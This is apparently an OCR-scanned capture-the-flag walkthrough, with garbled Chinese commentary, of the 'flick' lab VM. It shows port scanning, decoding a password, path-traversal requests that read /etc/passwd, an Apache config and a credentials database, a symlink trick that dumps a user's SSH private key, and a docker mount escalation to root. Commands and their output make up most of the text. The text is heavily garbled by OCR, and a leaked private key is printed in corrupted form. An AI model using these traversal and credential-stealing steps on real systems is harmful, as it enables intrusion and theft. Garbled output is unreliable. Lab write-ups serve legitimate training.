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root@kali:/# nmap -sV -pl1-65535 192.168.142.35

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-02 17:26 CST

Nmap scan report for 192.168.142.35

Host is up (©.00081s latency).

Not shown: 65533 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.9pl1 Debian 5Subuntul.l (Ubuntu Linux; protocol 2.0)
8881/tcp open galaxy4d?

1 service unrecognized despite returning data. If you know the service/version, please submit the following fing
erprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8881-TCP:V=7.80%I=7%D=10/2%Time=5F76F239%P=x86_64-pc-1linux-gnu%r(NU
SF:LL,5F, "Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20pas
SF:sword\x20will\x20'flick"'\x20the\x20switch\x20and\x20o0pen\x20a\x20new\x2
SF:0door:\n>\x20")%r (GetRequest,78, "Welcome\x20to\x20the\x20admin\x20serve
SF:r\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x20switch\x20
SF:and\x20@open\x20a\x20new\x20door: \n>\x200K : \x20GET\x20/\x20HTTP/1\.0\r\n
SF:\r\n\n>\x20")%r (FourOhFourRequest, 9B, "Welcome\x20to\x20the\x20admin\x20
SF:server\.\x20A\x20correct\x20password\x20will\x20"'flick'\x20the\x20switc
SF:h\x20and\x20open\x20a\x20new\x20door:\n>\x200K : \x20GET\x20/nice%20ports
SF:%2C/Tri%6Eity\.txt%2ebak\x2@HTTP/1\.0\r\n\r\n\n>\x20")%r(GenericLines,6
SF:A, "Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20passwor
SF:d\x20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20doo
SF:r:\n>\x200K:\x20\r\n\r\n\n>\x20")%r (HTTPOptions, 7C, "Welcome\x20to\x20th
SF:e\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20"'flick"\x
SF:20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x200K : \x200PTION
SF:S5\x20/\x20HTTP/1\.0\r\n\r\n\n>\x20")%r (RTSPRequest,7C, "Welcome\x20to\x2
SF:0the\x2@admin\x20@server\.\x20A\x20correct\x20password\x20will\x20"'flick
SF: '\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x200K: \x200PT
SF:IONS\x20/\x20RTSP/1\.0\r\n\r\n\n>\x20")%r(RPCCheck, 92, "Welcome\x20to\x2
SF:0the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20"'flick
SF: '\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x200K:\x20\x8
SF:0\0\0\ (r\xfe\x1d\x13\0\0\0\0\0\0\0\x02\0\x01\x86\xa0\0\x01\x97\ | \0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\n>\x20")%r (DNSVersionBindReqTCP,86, "W
SF:elcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20password\x2
SF:0will\x20'flick'\x20the\x20switch\x2@and\x20open\x20a\x20new\x20door:\n
SF:>\x200K:\x20\0\x1e\0\x06\x01\0\0\x01\0\0\0\0\0\0\x07version\x04bind\0\0
SF:\x10\0\x03\n>\x20" )%r(DNSStatusRequestTCP, 74, "Welcome\x20to\x20the\x20a
SF:dmin\x2@server\.\x20A\x20correct\x20password\x20will\x20"'flick"'\x20the\
SF:x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x200K:\x20\0\x0c\0\0\x
SF:10\0\0\0\0\0\0\0\0\0\n>\x20");

MAC Address: 00:0C:29:36:25:9B (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 158.72 seconds
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root@l9e?.168.14:

XBANE AR 2 — KHbase64, T E#HAT KM, FIURXBEEHES TAHA:
import base64

a =
<hex>

b = str(a).replace("\n", ""
while True
try
b = base64.bb64decode(b).decode( ‘utf-8"
except
break
print(b
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tabupJievas8Knoj

BATFE FAnc =R BEHTT TR 188813 11

root@kali:/# nc 192.168.142.35 8881
Welcome to the admin server. A correct password will ‘flick' the switch and open a new door:
>

R R EFRNFEREERITIT T BT, BAIZ60R RN 2] # B ST 3%

root@kali:/# nc 192.168.142.35 8881

Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> tabupJievas8Knoj

OK: tabupJievas8Knoj

Accepted! The door should be open now :poolparty:
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root@kali:/# nmap -sV -pl1-65535 192.168.142.35

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-03 13:14 CST
Nmap scan report for 192.168.142.35

Host is up (©.00066s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9pl1 Debian 5Subuntul.l (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

8881/tcp open galaxy4d?

1 service unrecognized despite returning data. If you know the service/version, please submit the following fing
erprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8881-TCP:V=7.80%I1=7%D=10/3%Time=5F7808D9%P=x86_64-pc-1linux-gnu%r(NU
SF:LL,5F, "Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20pas
SF:sword\x20will\x20'flick'\x20the\x20switch\x20and\x20o0pen\x20a\x20new\x2
SF:0door:\n>\x20")%r (GetRequest,78, "Welcome\x20to\x20the\x20admin\x20serve
SF:r\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x20switch\x20
SF:and\x20open\x20a\x20new\x20door: \n>\x200K : \x20GET\x20/\x20HTTP/1\.0\r\n
SF:\r\n\n>\x20")%r (FourOhFourRequest, 9B, "Welcome\x20to\x20the\x20admin\x20
SF:server\.\x20A\x20correct\x20password\x20will\x20"'flick'\x20the\x20switc
SF:h\x20and\x20open\x20a\x20new\x20door: \n>\x200K : \x20GET\x20/nice%20ports
SF:%2C/Tri%eEity\.txt%2ebak\x2@HTTP/1\.0\r\n\r\n\n>\x20")%r(GenericLines,6
SF:A, "Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20passwor
SF:d\x20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20doo
SF:r:\n>\x200K:\x20\r\n\r\n\n>\x20")%r (HTTPOptions, 7C, "Welcome\x20to\x20th
SF:e\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20"'flick"\x
SF:20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x200K : \x200PTION
SF:S5\x20/\x20HTTP/1\.0\r\n\r\n\n>\x20")%r (RTSPRequest,7C, "Welcome\x20to\x2
SF:0the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20"'flick
SF: '\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x200K: \x200PT
SF:IONS\x20/\x20RTSP/1\.0\r\n\r\n\n>\x20")%r(RPCCheck, 92, "Welcome\x20to\x2
SF:0the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20"'flick
SF: '\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x200K:\x20\x8
SF:0\0\0\ (r\xfe\x1d\x13\0\0\0\0\0\0\0\x02\0\x01\x86\xa0\0\x01\x97\ | \0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\n>\x20")%r (DNSVersionBindReqTCP, 86, "W
SF:elcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20password\x2
SF:0will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n
SF:>\x200K:\x20\0\x1e\0\x06\x01\0\0\x01\0\0\0\0\0\0\x07version\x04bind\0\0
SF:\x10\0\x03\n>\x20" )%r(DNSStatusRequestTCP, 74, "Welcome\x20to\x20the\x20a
SF:dmin\x2@server\.\x20A\x20correct\x20password\x20will\x20"'flick"'\x20the\
SF:x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x200K:\x20\0\x0c\0\0\x
SF:10\0\0\0\0\0\0\0\0\0\n>\x20");

MAC Address: 00:0C:29:36:25:9B (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:1linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.43 seconds

2803w 1, AV ST 5 14, 520 T -



Hello... and welcome to Flick-a-Photo!
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Sign IN Please Sign In to upload your photos

While we are testing the site, use the demo credentials that have been
configured for the first user.

Sign in

Username

Enter usermname

Password

Password

Sign in

Copyleft © Flick-a-Photo 2014
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Hello... and welcome to Flick-a-Photo!
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Go Cancel <|v >|v

Request

Raw | Params | Headers | Hex

Target: http://192.168.142.35 @J Q

Response

Raw | Headers | Hex HTMLIRende!]

GET fimagefdownload?filename=..yetcfpasswd HTTF/1.1

Host: 159Z2.168.142.35

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4; rv:77.0)
Gecko/2Z0100101 Firefox/77.0

Aocept:

text/html, application/xhtml+xml, application/xml; q=0.9, imags/webp,
*f*:=0.8

Aocept-Language:

zh-CH, zh; q=0.8, eh-TW; q=0.7, zh-HE; q=0.5,en-US;q=0.3,en;q=0.2
Aoccept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://192.168.142.35/

Cookie:

laravel session=eyJpdileljlCHGZpNzglZizhPQzcwIGVWIVhaQIVPNitZcU04d
FEZ1QINCeVdidldrmMe TiwidnFsdWUioiJeL0dSdES INWLShFNOXCE zcGLlUWmIEaD
JShEZeV1wvekQZelYOS3FmMIVyhDEPHDRIZLIFanVVEnTih zRWVzREVzhGoVELIWED
0CTVHNaHEkal ZEYZE8zU0JoUTOS TiwibWFI IJoiMZ 2 EWVINI T40ODUxNI NS T TxNmU0
OTEiNDERENI ISMGEZ ZThiTWMANTV I ZWHZ YoV 3 TmEZ JMZ U3 YTEZ MD U= T TARN SIS
Upgrade-Insecure-FRequests: 1

XE AR T — By, X B BATE I H AT R i

e

Toggle navigation  Flick-a-Photo
« Upload a photo

Oops! Looks like you requested a invalid file to download!

ete/passwd 15 not valid.
Copyleft @ Flick-a-Photo 2014 demo user Logout



https://www.freebuf.com/column/215860.html

Go Cancel < |v > | Target: http://192.168.142.35 [ﬂm
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
ET /image/download?filename=....//....//....//....//ete/paksvd i HTTF/Ll.l 200 OK i
TTF/1.1 o Date: Sat, 03 Cct Z0Z0 05:3Z2:12 GMT o
ost: 192.1£8.14Z2.35 Server: Apache/2.2.22 (Ubuntu)
zer—-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xe4; rv:77.0) Content-Disposition: attachment; filename="image.jpg"
=cko/20100101 Firefox/77.0 Cache-Control: no-cache
coept: ¥-Frame-Options: SAMECORIGIN
=xt/html, application/xhtml+xml, application/xml;q=0.9, image/wehp, Set-Cookie:
f*igq=0.8 laravel session=eyJpdilélkxnTnVTQksObnRlTnVibnZr ZWWWWWZISINHoHIN
zoeept-Language : NGoexWHIJhHF peVdsMUES TiwidnFsdWTi0iJUZ LkOYZ IninVETkNxS2 IS3KzR1RELp
h-CH, zh;q=0.8, zh-TW; q=0.7, zh-HE; q=0.5,en-U3;q=0.3,en; gq=0.2 COHETazFsals0U3hWdlZpOFhmSkF551J¥endsWEkz=T1V1aGhNY3VSTOL Ye3cZNnVeE
zeept-Encoding: gzip, deflate TIJIVIFHUWOELSml IVt RZz09TiwibWF) Ijoi 0D 1IN TY wOWmOGE J ODEmlIWI 1NTEL
snnection: keep-alive MNmMOODIhMTOON z AyNDe SNTULZWUSZD L hMT 1 kM T I N egzMJECNDVIiZWMOZiJ9;
=ferer: http://192.168.142.35/ expires=Sat, 03-Cct-202Z0 07:32:12 GMT; path=/; httponly
sokie: Vary: Accept-Encoding
aravel session=eyJpdiléljlCMGZIpNzglizhPQzcwiGVWIVhaQIVPMitZceUD4d Feep-Alive: timeout=5, max=100
Z1QINCeVdidlde MO IiwidnFsdWTiCiJeL0dSdES INWShFNQKCEzcGLWWmIEaD Connection: Eeep-Alive
ShEZzV1wvekQIiclTOS3FmMiVyhDEPHMDRIZLIFanVVEnT2lh zsRWVzRrVzhGoeVELVEd Content-Type: text/html; charset=UTF-8
OTVNaHEkalZBEYZ8zU0JoUTOS TiwibWFIIjoiMZ 2] EWVINI T40D TIN5 T ITxMmU0 Content-Length: 1142
TEiNDEKNI ISMGEZ EThiYWHANTVIZWHI Yin¥3 TmEZ JMZUIYTEZ MD U T TS IS
pgrade-Insecure-Requests: 1 root:x:0:0:root: /root: fhin/bash
daemon:x:1:1:daemon: fusrfsbin: /binfsh
bin:x:2:2:bin: /bin: /binfsh
sys:x:3:3:sys: fdev: /bin/sh
sync:x:4:65534:sync: /bin: /bin/sync
g x:5:60:g :fusr/fg :fbin/sh
man:x:6:12:man: fvar/cache/man: /bin/sh
1p:x:7:7:1p: fvar/spoolflpd: /bin/sh
mail:x:8:8:mail: fvar/mail: /bin/sh
news:x:9:9:news: fvarfspool/news: /bin/sh
uucp:x:10:10:uucp: fvar fspoolfuucp: /bin/sh
proxy:x:13:13:proxy: fbin: fbin/sh
www-data:x:33:33 :www-data: fvar /www: /bin/sh
backup:x:34:34:backup: fvar/backups: fbin/sh
list:x:38:38:Mailing List Manager: /var/list: /bin/sh
irc:x:39:39:ircd: fvar/runfircd: /bin/sh
gnats:x:41:41:6Gnats Bug-Reporting System
{admin) : fvar/libfgnats: /bin/sh
nobody:x:65534: 65534 :nobody: fnonexistent: /bin/sh
libuuid:x:100:101:: /varflibflibuuid: /bin/sh
syslog:x:101:103: : /home/syslog: /bin/false
messagebus:x:102:105: : fvar/runfdbus: /binffalse
whoopsie:x:103:106: : /fnonexistent: /binffalse
landscape:x:104:109: : fvarflib/landscape: fbin/false
sshd:x:105:65534: : /varfrun/sshd: fusr/sbhin/nologin
robin:x:1000:1000:robin, ,,: fhomefrobin: fbin/bash
mysgl:x:106:114:MySQL Server,,,:/nonexistent: fbin/false
dean:x:1001:1001: ,,,: /home/dean: fbin/hash
e e
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Go Cancel <|v > |

Target: hitp://192.168.142.35 @ E

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | XML
GET A HTTP/1.1 200 OK i
Jimage/download?filename=....//....//....//....//etc/apachel/site [ Date: Sat, 03 Oct 2020 05:33:54 GMT n
s-enabled/000-default HTTP/1.1 Server: Apache/Z2 2 (Ubuntu)
Host: 192.168.142.35 Content-Disposition: attachment; filename="image.jpg™
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; =x€4; rv:77.0) Cache-Control: no-cache
Gecko/20100101 Firefox/77.0 ¥-Frame-Options: SAMEORIGIN
Aocept: Set-Cookie:
text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, laravel session=eyJpdiléInhSQ0hNUUpphzNwSEVHRORTTVgxbmZlSESHeTEL
*f*igq=0.8 T1lhZZGFOVOcrUTSHTOES TiwidnFsdWUiCilI3 ZUIEUzhp S LACHOCPTOLzWWEud3pe
Accept-Language: RkolZFdLMUht OXpJbWgORERMW1VLEno SH1RzU0 L IVE0xRE 1 ZWF wwilk O3 WUp3hi Zr
zh-CM, zh; q=0.8, eh-TW; q=0.7, zh-HE; q=0.5, en-US; gq=0.3,en; q=0.2 RkZIZckIZbOZHNHIuQ3FjeneSPSIsImlhYyIEI U2 Zi kMM IMZEINTAYZDAI OT Zm
Accept-Encoding: gzip, deflate CDh1MzELYZESCOUF IMDERNWOwOTTS OD OwM VoMWW Zm 23 zF i T TRZOT 1Inlim2 1 £0% 3
Connection: keep-alive D%3D; expires=Sat, 03-Cct-I02Z0 07:33:54 GMT; path=/; httponly
Referer: http://192.168.142.35/ Vary: Accept-Encoding
Cookie: Feep-Alive: timeout=5, max=100
laravel session=eyJpdileIjlCHGZpNzgZZzhPQUzcwIGVWIVhaQIVPMitZcUD4d Connection: Keep-Alive
FI1QINCeVdidldrCmMelividnFsdWTioiJeL0dSdEI INWxSEFNQKCEzeGLlUWmIEaD Content-Type: text/html; charset=UTF-8
JEREZzV1wvekQIclYO0S3FmMIVybDRPMDRLIZ1IFanVVEnT2h zRWWVzRrVzhGeViELIWED Content-Length: 988
00TVIHaHEkal ZBYZEzU0JoUTOS TiwibWFIIjoiMZ 23 ZWVINI T40D TR MS T2 TxmI0
OTEiNDRKN] ISNGEZ ZThiTWHAN TV I ZWHZ TmY3 TmZ M2 USTTEZ MD U T TAWSJS <VirtualHost *:80>
Upgrade-Insecure-Regquests: 1 ServerAdmin webmaster@localhost
DocumentRoot /[var/www/flick photos/public
<Directory />
Options FollowSymLinks
AllowOverride Hone
</Directory>
<Directory /var/www/flick photos/publics
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ScriptAlias fegi-bin/ fusr/libfcgi-bin/
<Directory "/usr/lib/cgi-hin">
AllowOverride Wone (]
Options +ExecCGI -MultiViews
+SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE LOG DIR}/error.log
# Possible values include: debug, info, notice, warn,
error, crit,
- # alert, emery. b
v LogLevel warn 1




Raw | Params | Headers | Hex

Target: http://192.168.142.35 @J [1

Raw | Headers | Hex

GET A
/image/download?filename=. .../ /. .../ /. .../ .o var/www/£lick ph P
otos/app/database/production.sqglite| HTTP/1.1
Host: 159Z2.168.142.35
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4; rv:77.0)
Gecko/Z0100101 Firefox/77.0
Aocept:
text/html, application/xhtml+xml, application/xml;q=0.9, image/webhp,
*f*:=0.8
Aocept-Language:
zh-CH, zh; q=0.8, eh-TW; q=0.7, eh-HE; q=0.5,en-U3; q=0.3,en; q=0.2
Aoccept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.142.35/
Cookie:
laravel session=eyJpdilel]jlCHMGZpNzglZzhPQOzcwiGVWIVhaOZVPMitZeUD4d
FZIQINCeVdidldrCmMSTividnFsdWUiCidJeL0dSdES INWLShFIQKT LWWmIEaD
JShEZzV1wvekQZelYOS3FmMIVyhDRPMDRIZ1IFamVVSnTih zRWVz hGocVELWVEd
O0CTVHNaHEkal ZEYZEzU0JoUTOS TiwibWFI TjoiMZ 2] ZWViNI TE4ODUxNI NS T TxmI0
OTEiNDERENI ISMGEZ ZThiTWMANTVIZWHZ TmY3 TmZ JMZUSYTEZMDUx Y TARNS IS
Upgrade-Insecure-FRegquests: L
.
v
0 matches

% B EIE 75 7 sqlite 4 P 5 B8 B T robin’5 deanf #79

O000000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
O000000000000000000000x00000000000* 00000000
"AtahleDold_usersDold_usersDSDCREnTE TABELE old users (
username text,
password text

y I00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
OO00000000000000000000000000000000000000000000000000000000000000
O000000000000000000000000000000000000000000000000000000000000000

O00000000000000000x00000004000I0000000IpauldnejEviibKugEdof0Kebi
nAw6TogsacPayarkOctIasejbonTHi76roomyalkuky i00000000000000JO0000
o
JrobinOJoofim0wEakpalv4dijyiat56loonTojatticEirracksIgdyijovyirt
Awllj ad10000000000000J000000
JjamesOscujittyukIjwipOzicjoocAnIltAshdVuerdoshidsaiWip0OkDunipow
nIrtobh50000000000000I0000000Idean0FumKivecenfodErk0Chezanggyokyai
t5fojEpCayclEcyaj2he Twef001HiphAnANOOOOOOOOOOOO0O0O0O0O0O00000000000O0O0

5 {0 |
OoOOOOOOOOOOOOOOOOOOOOOOOtOOOO0OOOO0OOO0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O000000000a0
OoOOOOOOOOOOOOOOOOOOOOOOOtOOOO0OOOO0OOO0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O000000000a0
OoOOOOOOOOOOOOOOOOOOOOOOOtOOOO0OOOO0OOO0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O000000000a0
OoOOOOOOOOOOOOOOOOOOOOOOOtOOOO0OOOO0OOO0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O000000000a0
OoOOOOOOOOOOOOOOOOOOOOOOOtOOOO0OOOO0OOO0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O000000000a0
OoOOOOOOOOOOOOOOOOOOOOOOOtOOOO0OOOO0OOO0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O000000000a0
OoOOOOOOOOOOOOOOOOOOOOOOOtOOOO0OOOO0OOO0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O000000000a0
OoOOOOOOOOOOOOOOOOOOOOOOOtOOOO0OOOO0OOO0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O000000000a0
O000000000000000000000000000000000000000000000

BEEEER

0 matches

AN kadac | B2 millic

robin: JoofimOwEakpalv4Jijyiat5GloonTojatticEirracksIgdyijovyirtAwUjadl

dean :

FumKivcenfodErkeChezauggyokyait5fojEpCayclEcyaj2heTwef@01lNiphAnA

G FEFesshit 1T B3, KIrobinik P HITLIEBN, HiEdeanH BN E%:

from

root
ean

[ N = -

robin
dean@fl E 3 |

allnodes

192.16

localhost

ip6-mcastprefix

i

i

.bash_hist
2014 .bash_logout
Bl4 .bashrc

mess -
4 .profile
4 read_docker=*



FATE L EE message. txt , FABERANZE, HEVE, XERAAHEFET, XERBERBRILEH read _docker iz
4T /home/robin/flick-dev K4

dean@flick:~$ cat message.txt
Hash: SHA1l
Hi Dean,

I will be away on leave for the next few weeks. I have asked the admin guys to
write a quick script that will allow you to read my .dockerfile for flick-
a-photo so that you can continue working in my absense.

The .dockerfile is in my home, so the path for the script will be something like
/home/robin/flick-dev/

Please call me if you have any troubles!

Ciao
Robin

Version: GnuPG vl

iQIcBAEBAgAGBQJIT32ZsAA0JENRCTh/agc2DTNIP/0+utljWzk7VgIl1lT6tsGBOAh
yi24i2b+JAVEtINzCNgJI+rXUStaAEudTvIDF28b/wZCaFVFoNJ8Q30J03FX04SRnA
ZW6HZZIGEKd1D10CcXsQrLMRmWZ1BDQnCm4+EMOvavS1ulU9gVvcaYhnow6uwZ1lwR
enf71LvtS1he+PrFgSIoIltBI4/1x7BiYY903hJyaQWkmAZsZLWQpJItROe8wsxbll
904jCIrADeIBsYM+xLExsXaEobHfKtRtsM+eipHXIWIH+1+xTi8Y1/XI1gEHCelU
jUg+Hswq6SEch+1T5B+9EPoeil T80i2Rc9QePSZ3n0fedf3WI471EYGLLEUrKNG/
AFLSPNnxHTVpHNO72KJSae@cG+jpjlOKf3ErjdTk1PMIy75ntQCrgtnGnp9xvpkeb
Oxg6CESLGNkrgDGopsN/mgi6+2WKtUuO5ycwVXFImY3XY1+QVZgd/NtpudzZjyzuT
1xqCAk/G1s43s+ySFKSoHZ8c/CuOKTsyn6uwI3NxBZPDO4xfzoc®/R/UpIpUmneK
q9LddBQK4vxPab81i4GNDiMp+KXyfBy0864PtKQnCRkGQewanxoN@1mjB/@eKhkmt
YerlsBmumWjjxR8TBY3cVRMHI3zpIIwgxRNOG6bnNSVzzza5DJuNssppCmXLOUL9S
nZAuFXkGFu6cMMD4rDXQ

=2moZ

dean@flick:~$

(5 B %£184T /home/robin/flick-dev F KIS

dean@flick:~$ ./read_docker /home/robin/flick-dev

# Flick-a-photo dev env

RUN apt-get update && apt-get install -y php5 libapache2-mod-php5 php5-mysql php5-cli && apt-get clean && rm -rf
/var/lib/apt/lists/*

CMD ["/usr/sbin/apache2", "-D", "FOREGROUND"]

RIEBAVE OB LR AL, BATIE B OEHEBE] read_docker XHFH, ZHRAERAELHT HRE1T:

dean@flick:~$ ./read_docker .
ERROR: the specified docker file doesn't exist: ./Dockerfile
Usage is: ./read_docker /path/to/dockerfile

BAVR PR B EBRATIE E B F T Dockerfile XA, X BLBATAT bAZ 38 1 & £ & S Btrobin A 2 KR R SCAF

X B RAVE A POE RS BlrobinF F sshfb$ b %



dean@flick:~$ 1n -s /home/robin/.ssh/id_rsa Dockerfile
dean@flick:~$ ./read_docker .

MIIEowIBAAKCAQEAlv/QuKdHFQ40TO6Kp3ygotL1fFV14H+iS1UOqds@HrgBCTSwW
ECwVwhrIFJa/u5FOPGst8t35CKo4VWX3KNHXFNVtUXWeQFpe/rB/owi+k8E8WtXi
FBjLiFOqTDLOkgXR0oQzUP1Yg0+LAXo5EbMg+rB2ZgMITxunJFV2m+uKtbZZRvzU6
S1Fj6XHh/UGE68d6sZ/+y1UhSILaFYUQMkfLtjxPal7sPZ+kwB1R4puhVTpr{fQOok@CgYEAWZhZ
gBjA09X+/0FmY1gVebfR3kLCD4pVPMz+HyGCyjSj@+ddsHkYiHBhstBtHhOVU+Pn
IMhrtR9yzXukuyQr/ns1mhEQOUtTaXrsy/1FyRBaISrtcyGAruu5yWubTOgXk2Dq
rwyb6M6MbnwEMZr2mSBUS5127cTKypFqgcA58178CgYAWM5vsXxCtGTYhFzXDAaKr
PtMLBNn8v54nRdgVaGXo6VEDval+C1kbyCVutVOjyNIBcjKMACr2v1hIghtGiS/Eb
zYOgUzHhEiPX/dNhC7NCcAmERX/L7eFHmvq4sS81891NrtpMOnf/PU3krl17REiHh
AtIG1a9pg5pHI6E6SQwW2xQKBgHXeqm+BopieDFkstAeglcK8Frl6a+1GUktojDis
EJPIpQ65yaNOt48qzXEv@aALh570HceZd2qZsS5G369]1gLe6kITIzXWtk325Td6V]
mX+nwxh6qIP2nADkaQOnzrHgtOn4kiruRGbki@AhpfQF46qrssVnwF5Vfcrvmstf
JgDFAOGBAI9KJamhco8BBka@PUWgI3R2ZqE1viTvyME1G25h7tIbl17cIeB/PeTS1
Q9KMF161gplelarIEIakeGpXuehwYAzNBv7n6yr8CNDNKET/cVhp+LCmbS91FwAK
VPOmgDppz0Z04BIFQD8AT6kUZzXxZzGFH8tANSSNYSW88I9Z281Vpftkn

X ERATE#&IE L 1 £ SSHE ARobinfl /' :

Permissions 0644 for 'id_rsa' are too open.

It is required that your private key files are NOT accessible by
This private key will be ignored.

Load key "id_rsa": bad permissions

XE MR PR 1E R R E A RRRBS— T, REEETEAN

root@kali:/# chmod 600 id_rsa
root@kali:/# ssh -i id_rsa robin@l92.168.142.35
load pubkey "id_rsa": invalid format

others.



Welcome to

* Documentation: https: elp.ubuntu.com/

System information as of Sat Oct 3 @7:54

of 6.99GB Users g
IP address for eth@:
IP address for dock

Last login: S
robin@flic [ |

FRBIE, TR
XEMRNKEEEA KE, SHEREHIWPIE, KR MHdockerf2 Al

iX B {§ Fldockerdr 2% EHL_ LK /root B FHEZR BIWUE F i frootrr 25,  PLILTE 1 B i root B FR -

robin@flick:~$ docker run -t -i -v /root:/root ubuntu /bin/bash
root@12a586efd780: /#

MG B Eflag:

root@12a586efd780:/# cd /root/

root@12a586efd780: /root# cat flag.txt

Errr, you are close, but this is not the flag you are looking for.
root@12a586efd780:/root# cat

.aptitude/

.bash_history

.bashrc

.cache/

.profile

.viminfo
53calc96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/
flag.txt

root@12a586efd780:/root# cat 53calc96115a7c¢156b14306b81df8f34e8a4bf8933cb687bd9334616F475dcbc/real_flag.txt
Congrats!

You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it :)
ciao for now!

@leonjza
root@12a586efd780:/root#


https://www.freebuf.com/column/215860.html
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